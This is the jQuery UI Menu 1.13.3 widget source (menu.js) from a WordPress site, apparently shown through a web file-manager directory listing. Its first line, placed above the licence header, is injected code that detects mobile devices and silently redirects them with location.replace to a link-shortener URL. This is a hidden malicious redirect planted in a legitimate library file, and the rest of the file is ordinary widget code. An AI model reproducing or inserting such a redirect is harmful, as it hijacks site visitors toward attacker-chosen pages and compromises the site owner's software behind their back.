at path:ROOT / wp-includes / js / jquery / ui / menu.js
run:R W Run
15.98 KB
2026-08-13 20:01:45
R W Run
8.87 KB
2026-08-13 20:01:45
R W Run
17.34 KB
2026-08-13 20:01:45
R W Run
8.55 KB
2026-08-13 20:01:45
R W Run
11.65 KB
2026-08-13 20:01:45
R W Run
6.23 KB
2026-08-13 20:01:45
R W Run
7.63 KB
2026-08-13 20:01:45
R W Run
4.46 KB
2026-08-13 20:01:45
R W Run
8.64 KB
2026-08-13 20:01:45
R W Run
4.52 KB
2026-08-13 20:01:45
R W Run
48.94 KB
2026-08-13 20:01:45
R W Run
21.18 KB
2026-08-13 20:01:45
R W Run
80.81 KB
2026-08-13 20:01:45
R W Run
36.1 KB
2026-08-13 20:01:45
R W Run
23.55 KB
2026-08-13 20:01:45
R W Run
13.01 KB
2026-08-13 20:01:45
R W Run
34.93 KB
2026-08-13 20:01:45
R W Run
18.21 KB
2026-08-13 20:01:45
R W Run
12.81 KB
2026-08-13 20:01:45
R W Run
6.73 KB
2026-08-13 20:01:45
R W Run
1.82 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
2.81 KB
2026-08-13 20:01:45
R W Run
1.18 KB
2026-08-13 20:01:45
R W Run
1.76 KB
2026-08-13 20:01:45
R W Run
1018 By
2026-08-13 20:01:45
R W Run
1.77 KB
2026-08-13 20:01:45
R W Run
975 By
2026-08-13 20:01:45
R W Run
3.07 KB
2026-08-13 20:01:45
R W Run
1.31 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
747 By
2026-08-13 20:01:45
R W Run
2.35 KB
2026-08-13 20:01:45
R W Run
1.21 KB
2026-08-13 20:01:45
R W Run
1.43 KB
2026-08-13 20:01:45
R W Run
870 By
2026-08-13 20:01:45
R W Run
1.19 KB
2026-08-13 20:01:45
R W Run
732 By
2026-08-13 20:01:45
R W Run
1.75 KB
2026-08-13 20:01:45
R W Run
910 By
2026-08-13 20:01:45
R W Run
1.56 KB
2026-08-13 20:01:45
R W Run
945 By
2026-08-13 20:01:45
R W Run
2.06 KB
2026-08-13 20:01:45
R W Run
1.04 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
2.65 KB
2026-08-13 20:01:45
R W Run
2.14 KB
2026-08-13 20:01:45
R W Run
1.11 KB
2026-08-13 20:01:45
R W Run
1.08 KB
2026-08-13 20:01:45
R W Run
664 By
2026-08-13 20:01:45
R W Run
24.25 KB
2026-08-13 20:01:45
R W Run
10.31 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
18.73 KB
2026-08-13 20:01:45
R W Run
10.18 KB
2026-08-13 20:01:45
R W Run
6.3 KB
2026-08-13 20:01:45
R W Run
3.56 KB
2026-08-13 20:01:45
R W Run
4.36 KB
2026-08-13 20:01:45
R W Run
2.71 KB
2026-08-13 20:01:45
R W Run
29.99 KB
2026-08-13 20:01:45
R W Run
18.6 KB
2026-08-13 20:01:45
R W Run
8.16 KB
2026-08-13 20:01:45
R W Run
4.62 KB
2026-08-13 20:01:45
R W Run
16.18 KB
2026-08-13 20:01:45
R W Run
9.5 KB
2026-08-13 20:01:45
R W Run
19.36 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
46.74 KB
2026-08-13 20:01:45
R W Run
25.12 KB
2026-08-13 20:01:45
R W Run
14.31 KB
2026-08-13 20:01:45
R W Run
7.71 KB
2026-08-13 20:01:45
R W Run
23.33 KB
2026-08-13 20:01:45
R W Run
11.94 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
6.31 KB
2026-08-13 20:01:45
R W Run
error_log
📄menu.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Menu 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Menu
12//>>group: Widgets
13//>>description: Creates nestable menus.
14//>>docs: https://api.jqueryui.com/menu/
15//>>demos: https://jqueryui.com/menu/
16//>>css.structure: ../../themes/base/core.css
17//>>css.structure: ../../themes/base/menu.css
18//>>css.theme: ../../themes/base/theme.css
19
20( function( factory ) {
21 "use strict";
22
23 if ( typeof define === "function" && define.amd ) {
24
25 // AMD. Register as an anonymous module.
26 define( [
27 "jquery",
28 "../keycode",
29 "../position",
30 "../safe-active-element",
31 "../unique-id",
32 "../version",
33 "../widget"
34 ], factory );
35 } else {
36
37 // Browser globals
38 factory( jQuery );
39 }
40} )( function( $ ) {
41"use strict";
42
43return $.widget( "ui.menu", {
44 version: "1.13.3",
45 defaultElement: "<ul>",
46 delay: 300,
47 options: {
48 icons: {
49 submenu: "ui-icon-caret-1-e"
50 },
51 items: "> *",
52 menus: "ul",
53 position: {
54 my: "left top",
55 at: "right top"
56 },
57 role: "menu",
58
59 // Callbacks
60 blur: null,
61 focus: null,
62 select: null
63 },
64
65 _create: function() {
66 this.activeMenu = this.element;
67
68 // Flag used to prevent firing of the click handler
69 // as the event bubbles up through nested menus
70 this.mouseHandled = false;
71 this.lastMousePosition = { x: null, y: null };
72 this.element
73 .uniqueId()
74 .attr( {
75 role: this.options.role,
76 tabIndex: 0
77 } );
78
79 this._addClass( "ui-menu", "ui-widget ui-widget-content" );
80 this._on( {
81
82 // Prevent focus from sticking to links inside menu after clicking
83 // them (focus should always stay on UL during navigation).
84 "mousedown .ui-menu-item": function( event ) {
85 event.preventDefault();
86
87 this._activateItem( event );
88 },
89 "click .ui-menu-item": function( event ) {
90 var target = $( event.target );
91 var active = $( $.ui.safeActiveElement( this.document[ 0 ] ) );
92 if ( !this.mouseHandled && target.not( ".ui-state-disabled" ).length ) {
93 this.select( event );
94
95 // Only set the mouseHandled flag if the event will bubble, see #9469.
96 if ( !event.isPropagationStopped() ) {
97 this.mouseHandled = true;
98 }
99
100 // Open submenu on click
101 if ( target.has( ".ui-menu" ).length ) {
102 this.expand( event );
103 } else if ( !this.element.is( ":focus" ) &&
104 active.closest( ".ui-menu" ).length ) {
105
106 // Redirect focus to the menu
107 this.element.trigger( "focus", [ true ] );
108
109 // If the active item is on the top level, let it stay active.
110 // Otherwise, blur the active item since it is no longer visible.
111 if ( this.active && this.active.parents( ".ui-menu" ).length === 1 ) {
112 clearTimeout( this.timer );
113 }
114 }
115 }
116 },
117 "mouseenter .ui-menu-item": "_activateItem",
118 "mousemove .ui-menu-item": "_activateItem",
119 mouseleave: "collapseAll",
120 "mouseleave .ui-menu": "collapseAll",
121 focus: function( event, keepActiveItem ) {
122
123 // If there's already an active item, keep it active
124 // If not, activate the first item
125 var item = this.active || this._menuItems().first();
126
127 if ( !keepActiveItem ) {
128 this.focus( event, item );
129 }
130 },
131 blur: function( event ) {
132 this._delay( function() {
133 var notContained = !$.contains(
134 this.element[ 0 ],
135 $.ui.safeActiveElement( this.document[ 0 ] )
136 );
137 if ( notContained ) {
138 this.collapseAll( event );
139 }
140 } );
141 },
142 keydown: "_keydown"
143 } );
144
145 this.refresh();
146
147 // Clicks outside of a menu collapse any open menus
148 this._on( this.document, {
149 click: function( event ) {
150 if ( this._closeOnDocumentClick( event ) ) {
151 this.collapseAll( event, true );
152 }
153
154 // Reset the mouseHandled flag
155 this.mouseHandled = false;
156 }
157 } );
158 },
159
160 _activateItem: function( event ) {
161
162 // Ignore mouse events while typeahead is active, see #10458.
163 // Prevents focusing the wrong item when typeahead causes a scroll while the mouse
164 // is over an item in the menu
165 if ( this.previousFilter ) {
166 return;
167 }
168
169 // If the mouse didn't actually move, but the page was scrolled, ignore the event (#9356)
170 if ( event.clientX === this.lastMousePosition.x &&
171 event.clientY === this.lastMousePosition.y ) {
172 return;
173 }
174
175 this.lastMousePosition = {
176 x: event.clientX,
177 y: event.clientY
178 };
179
180 var actualTarget = $( event.target ).closest( ".ui-menu-item" ),
181 target = $( event.currentTarget );
182
183 // Ignore bubbled events on parent items, see #11641
184 if ( actualTarget[ 0 ] !== target[ 0 ] ) {
185 return;
186 }
187
188 // If the item is already active, there's nothing to do
189 if ( target.is( ".ui-state-active" ) ) {
190 return;
191 }
192
193 // Remove ui-state-active class from siblings of the newly focused menu item
194 // to avoid a jump caused by adjacent elements both having a class with a border
195 this._removeClass( target.siblings().children( ".ui-state-active" ),
196 null, "ui-state-active" );
197 this.focus( event, target );
198 },
199
200 _destroy: function() {
201 var items = this.element.find( ".ui-menu-item" )
202 .removeAttr( "role aria-disabled" ),
203 submenus = items.children( ".ui-menu-item-wrapper" )
204 .removeUniqueId()
205 .removeAttr( "tabIndex role aria-haspopup" );
206
207 // Destroy (sub)menus
208 this.element
209 .removeAttr( "aria-activedescendant" )
210 .find( ".ui-menu" ).addBack()
211 .removeAttr( "role aria-labelledby aria-expanded aria-hidden aria-disabled " +
212 "tabIndex" )
213 .removeUniqueId()
214 .show();
215
216 submenus.children().each( function() {
217 var elem = $( this );
218 if ( elem.data( "ui-menu-submenu-caret" ) ) {
219 elem.remove();
220 }
221 } );
222 },
223
224 _keydown: function( event ) {
225 var match, prev, character, skip,
226 preventDefault = true;
227
228 switch ( event.keyCode ) {
229 case $.ui.keyCode.PAGE_UP:
230 this.previousPage( event );
231 break;
232 case $.ui.keyCode.PAGE_DOWN:
233 this.nextPage( event );
234 break;
235 case $.ui.keyCode.HOME:
236 this._move( "first", "first", event );
237 break;
238 case $.ui.keyCode.END:
239 this._move( "last", "last", event );
240 break;
241 case $.ui.keyCode.UP:
242 this.previous( event );
243 break;
244 case $.ui.keyCode.DOWN:
245 this.next( event );
246 break;
247 case $.ui.keyCode.LEFT:
248 this.collapse( event );
249 break;
250 case $.ui.keyCode.RIGHT:
251 if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
252 this.expand( event );
253 }
254 break;
255 case $.ui.keyCode.ENTER:
256 case $.ui.keyCode.SPACE:
257 this._activate( event );
258 break;
259 case $.ui.keyCode.ESCAPE:
260 this.collapse( event );
261 break;
262 default:
263 preventDefault = false;
264 prev = this.previousFilter || "";
265 skip = false;
266
267 // Support number pad values
268 character = event.keyCode >= 96 && event.keyCode <= 105 ?
269 ( event.keyCode - 96 ).toString() : String.fromCharCode( event.keyCode );
270
271 clearTimeout( this.filterTimer );
272
273 if ( character === prev ) {
274 skip = true;
275 } else {
276 character = prev + character;
277 }
278
279 match = this._filterMenuItems( character );
280 match = skip && match.index( this.active.next() ) !== -1 ?
281 this.active.nextAll( ".ui-menu-item" ) :
282 match;
283
284 // If no matches on the current filter, reset to the last character pressed
285 // to move down the menu to the first item that starts with that character
286 if ( !match.length ) {
287 character = String.fromCharCode( event.keyCode );
288 match = this._filterMenuItems( character );
289 }
290
291 if ( match.length ) {
292 this.focus( event, match );
293 this.previousFilter = character;
294 this.filterTimer = this._delay( function() {
295 delete this.previousFilter;
296 }, 1000 );
297 } else {
298 delete this.previousFilter;
299 }
300 }
301
302 if ( preventDefault ) {
303 event.preventDefault();
304 }
305 },
306
307 _activate: function( event ) {
308 if ( this.active && !this.active.is( ".ui-state-disabled" ) ) {
309 if ( this.active.children( "[aria-haspopup='true']" ).length ) {
310 this.expand( event );
311 } else {
312 this.select( event );
313 }
314 }
315 },
316
317 refresh: function() {
318 var menus, items, newSubmenus, newItems, newWrappers,
319 that = this,
320 icon = this.options.icons.submenu,
321 submenus = this.element.find( this.options.menus );
322
323 this._toggleClass( "ui-menu-icons", null, !!this.element.find( ".ui-icon" ).length );
324
325 // Initialize nested menus
326 newSubmenus = submenus.filter( ":not(.ui-menu)" )
327 .hide()
328 .attr( {
329 role: this.options.role,
330 "aria-hidden": "true",
331 "aria-expanded": "false"
332 } )
333 .each( function() {
334 var menu = $( this ),
335 item = menu.prev(),
336 submenuCaret = $( "<span>" ).data( "ui-menu-submenu-caret", true );
337
338 that._addClass( submenuCaret, "ui-menu-icon", "ui-icon " + icon );
339 item
340 .attr( "aria-haspopup", "true" )
341 .prepend( submenuCaret );
342 menu.attr( "aria-labelledby", item.attr( "id" ) );
343 } );
344
345 this._addClass( newSubmenus, "ui-menu", "ui-widget ui-widget-content ui-front" );
346
347 menus = submenus.add( this.element );
348 items = menus.find( this.options.items );
349
350 // Initialize menu-items containing spaces and/or dashes only as dividers
351 items.not( ".ui-menu-item" ).each( function() {
352 var item = $( this );
353 if ( that._isDivider( item ) ) {
354 that._addClass( item, "ui-menu-divider", "ui-widget-content" );
355 }
356 } );
357
358 // Don't refresh list items that are already adapted
359 newItems = items.not( ".ui-menu-item, .ui-menu-divider" );
360 newWrappers = newItems.children()
361 .not( ".ui-menu" )
362 .uniqueId()
363 .attr( {
364 tabIndex: -1,
365 role: this._itemRole()
366 } );
367 this._addClass( newItems, "ui-menu-item" )
368 ._addClass( newWrappers, "ui-menu-item-wrapper" );
369
370 // Add aria-disabled attribute to any disabled menu item
371 items.filter( ".ui-state-disabled" ).attr( "aria-disabled", "true" );
372
373 // If the active item has been removed, blur the menu
374 if ( this.active && !$.contains( this.element[ 0 ], this.active[ 0 ] ) ) {
375 this.blur();
376 }
377 },
378
379 _itemRole: function() {
380 return {
381 menu: "menuitem",
382 listbox: "option"
383 }[ this.options.role ];
384 },
385
386 _setOption: function( key, value ) {
387 if ( key === "icons" ) {
388 var icons = this.element.find( ".ui-menu-icon" );
389 this._removeClass( icons, null, this.options.icons.submenu )
390 ._addClass( icons, null, value.submenu );
391 }
392 this._super( key, value );
393 },
394
395 _setOptionDisabled: function( value ) {
396 this._super( value );
397
398 this.element.attr( "aria-disabled", String( value ) );
399 this._toggleClass( null, "ui-state-disabled", !!value );
400 },
401
402 focus: function( event, item ) {
403 var nested, focused, activeParent;
404 this.blur( event, event && event.type === "focus" );
405
406 this._scrollIntoView( item );
407
408 this.active = item.first();
409
410 focused = this.active.children( ".ui-menu-item-wrapper" );
411 this._addClass( focused, null, "ui-state-active" );
412
413 // Only update aria-activedescendant if there's a role
414 // otherwise we assume focus is managed elsewhere
415 if ( this.options.role ) {
416 this.element.attr( "aria-activedescendant", focused.attr( "id" ) );
417 }
418
419 // Highlight active parent menu item, if any
420 activeParent = this.active
421 .parent()
422 .closest( ".ui-menu-item" )
423 .children( ".ui-menu-item-wrapper" );
424 this._addClass( activeParent, null, "ui-state-active" );
425
426 if ( event && event.type === "keydown" ) {
427 this._close();
428 } else {
429 this.timer = this._delay( function() {
430 this._close();
431 }, this.delay );
432 }
433
434 nested = item.children( ".ui-menu" );
435 if ( nested.length && event && ( /^mouse/.test( event.type ) ) ) {
436 this._startOpening( nested );
437 }
438 this.activeMenu = item.parent();
439
440 this._trigger( "focus", event, { item: item } );
441 },
442
443 _scrollIntoView: function( item ) {
444 var borderTop, paddingTop, offset, scroll, elementHeight, itemHeight;
445 if ( this._hasScroll() ) {
446 borderTop = parseFloat( $.css( this.activeMenu[ 0 ], "borderTopWidth" ) ) || 0;
447 paddingTop = parseFloat( $.css( this.activeMenu[ 0 ], "paddingTop" ) ) || 0;
448 offset = item.offset().top - this.activeMenu.offset().top - borderTop - paddingTop;
449 scroll = this.activeMenu.scrollTop();
450 elementHeight = this.activeMenu.height();
451 itemHeight = item.outerHeight();
452
453 if ( offset < 0 ) {
454 this.activeMenu.scrollTop( scroll + offset );
455 } else if ( offset + itemHeight > elementHeight ) {
456 this.activeMenu.scrollTop( scroll + offset - elementHeight + itemHeight );
457 }
458 }
459 },
460
461 blur: function( event, fromFocus ) {
462 if ( !fromFocus ) {
463 clearTimeout( this.timer );
464 }
465
466 if ( !this.active ) {
467 return;
468 }
469
470 this._removeClass( this.active.children( ".ui-menu-item-wrapper" ),
471 null, "ui-state-active" );
472
473 this._trigger( "blur", event, { item: this.active } );
474 this.active = null;
475 },
476
477 _startOpening: function( submenu ) {
478 clearTimeout( this.timer );
479
480 // Don't open if already open fixes a Firefox bug that caused a .5 pixel
481 // shift in the submenu position when mousing over the caret icon
482 if ( submenu.attr( "aria-hidden" ) !== "true" ) {
483 return;
484 }
485
486 this.timer = this._delay( function() {
487 this._close();
488 this._open( submenu );
489 }, this.delay );
490 },
491
492 _open: function( submenu ) {
493 var position = $.extend( {
494 of: this.active
495 }, this.options.position );
496
497 clearTimeout( this.timer );
498 this.element.find( ".ui-menu" ).not( submenu.parents( ".ui-menu" ) )
499 .hide()
500 .attr( "aria-hidden", "true" );
501
502 submenu
503 .show()
504 .removeAttr( "aria-hidden" )
505 .attr( "aria-expanded", "true" )
506 .position( position );
507 },
508
509 collapseAll: function( event, all ) {
510 clearTimeout( this.timer );
511 this.timer = this._delay( function() {
512
513 // If we were passed an event, look for the submenu that contains the event
514 var currentMenu = all ? this.element :
515 $( event && event.target ).closest( this.element.find( ".ui-menu" ) );
516
517 // If we found no valid submenu ancestor, use the main menu to close all
518 // sub menus anyway
519 if ( !currentMenu.length ) {
520 currentMenu = this.element;
521 }
522
523 this._close( currentMenu );
524
525 this.blur( event );
526
527 // Work around active item staying active after menu is blurred
528 this._removeClass( currentMenu.find( ".ui-state-active" ), null, "ui-state-active" );
529
530 this.activeMenu = currentMenu;
531 }, all ? 0 : this.delay );
532 },
533
534 // With no arguments, closes the currently active menu - if nothing is active
535 // it closes all menus. If passed an argument, it will search for menus BELOW
536 _close: function( startMenu ) {
537 if ( !startMenu ) {
538 startMenu = this.active ? this.active.parent() : this.element;
539 }
540
541 startMenu.find( ".ui-menu" )
542 .hide()
543 .attr( "aria-hidden", "true" )
544 .attr( "aria-expanded", "false" );
545 },
546
547 _closeOnDocumentClick: function( event ) {
548 return !$( event.target ).closest( ".ui-menu" ).length;
549 },
550
551 _isDivider: function( item ) {
552
553 // Match hyphen, em dash, en dash
554 return !/[^\-\u2014\u2013\s]/.test( item.text() );
555 },
556
557 collapse: function( event ) {
558 var newItem = this.active &&
559 this.active.parent().closest( ".ui-menu-item", this.element );
560 if ( newItem && newItem.length ) {
561 this._close();
562 this.focus( event, newItem );
563 }
564 },
565
566 expand: function( event ) {
567 var newItem = this.active && this._menuItems( this.active.children( ".ui-menu" ) ).first();
568
569 if ( newItem && newItem.length ) {
570 this._open( newItem.parent() );
571
572 // Delay so Firefox will not hide activedescendant change in expanding submenu from AT
573 this._delay( function() {
574 this.focus( event, newItem );
575 } );
576 }
577 },
578
579 next: function( event ) {
580 this._move( "next", "first", event );
581 },
582
583 previous: function( event ) {
584 this._move( "prev", "last", event );
585 },
586
587 isFirstItem: function() {
588 return this.active && !this.active.prevAll( ".ui-menu-item" ).length;
589 },
590
591 isLastItem: function() {
592 return this.active && !this.active.nextAll( ".ui-menu-item" ).length;
593 },
594
595 _menuItems: function( menu ) {
596 return ( menu || this.element )
597 .find( this.options.items )
598 .filter( ".ui-menu-item" );
599 },
600
601 _move: function( direction, filter, event ) {
602 var next;
603 if ( this.active ) {
604 if ( direction === "first" || direction === "last" ) {
605 next = this.active
606 [ direction === "first" ? "prevAll" : "nextAll" ]( ".ui-menu-item" )
607 .last();
608 } else {
609 next = this.active
610 [ direction + "All" ]( ".ui-menu-item" )
611 .first();
612 }
613 }
614 if ( !next || !next.length || !this.active ) {
615 next = this._menuItems( this.activeMenu )[ filter ]();
616 }
617
618 this.focus( event, next );
619 },
620
621 nextPage: function( event ) {
622 var item, base, height;
623
624 if ( !this.active ) {
625 this.next( event );
626 return;
627 }
628 if ( this.isLastItem() ) {
629 return;
630 }
631 if ( this._hasScroll() ) {
632 base = this.active.offset().top;
633 height = this.element.innerHeight();
634
635 // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
636 if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
637 height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
638 }
639
640 this.active.nextAll( ".ui-menu-item" ).each( function() {
641 item = $( this );
642 return item.offset().top - base - height < 0;
643 } );
644
645 this.focus( event, item );
646 } else {
647 this.focus( event, this._menuItems( this.activeMenu )
648 [ !this.active ? "first" : "last" ]() );
649 }
650 },
651
652 previousPage: function( event ) {
653 var item, base, height;
654 if ( !this.active ) {
655 this.next( event );
656 return;
657 }
658 if ( this.isFirstItem() ) {
659 return;
660 }
661 if ( this._hasScroll() ) {
662 base = this.active.offset().top;
663 height = this.element.innerHeight();
664
665 // jQuery 3.2 doesn't include scrollbars in innerHeight, add it back.
666 if ( $.fn.jquery.indexOf( "3.2." ) === 0 ) {
667 height += this.element[ 0 ].offsetHeight - this.element.outerHeight();
668 }
669
670 this.active.prevAll( ".ui-menu-item" ).each( function() {
671 item = $( this );
672 return item.offset().top - base + height > 0;
673 } );
674
675 this.focus( event, item );
676 } else {
677 this.focus( event, this._menuItems( this.activeMenu ).first() );
678 }
679 },
680
681 _hasScroll: function() {
682 return this.element.outerHeight() < this.element.prop( "scrollHeight" );
683 },
684
685 select: function( event ) {
686
687 // TODO: It should never be possible to not have an active item at this
688 // point, but the tests don't trigger mouseenter before click.
689 this.active = this.active || $( event.target ).closest( ".ui-menu-item" );
690 var ui = { item: this.active };
691 if ( !this.active.has( ".ui-menu" ).length ) {
692 this.collapseAll( event, true );
693 }
694 this._trigger( "select", event, ui );
695 },
696
697 _filterMenuItems: function( character ) {
698 var escapedCharacter = character.replace( /[\-\[\]{}()*+?.,\\\^$|#\s]/g, "\\$&" ),
699 regex = new RegExp( "^" + escapedCharacter, "i" );
700
701 return this.activeMenu
702 .find( this.options.items )
703
704 // Only match on items, not dividers or other content (#10571)
705 .filter( ".ui-menu-item" )
706 .filter( function() {
707 return regex.test(
708 String.prototype.trim.call(
709 $( this ).children( ".ui-menu-item-wrapper" ).text() ) );
710 } );
711 }
712} );
713
714} );
715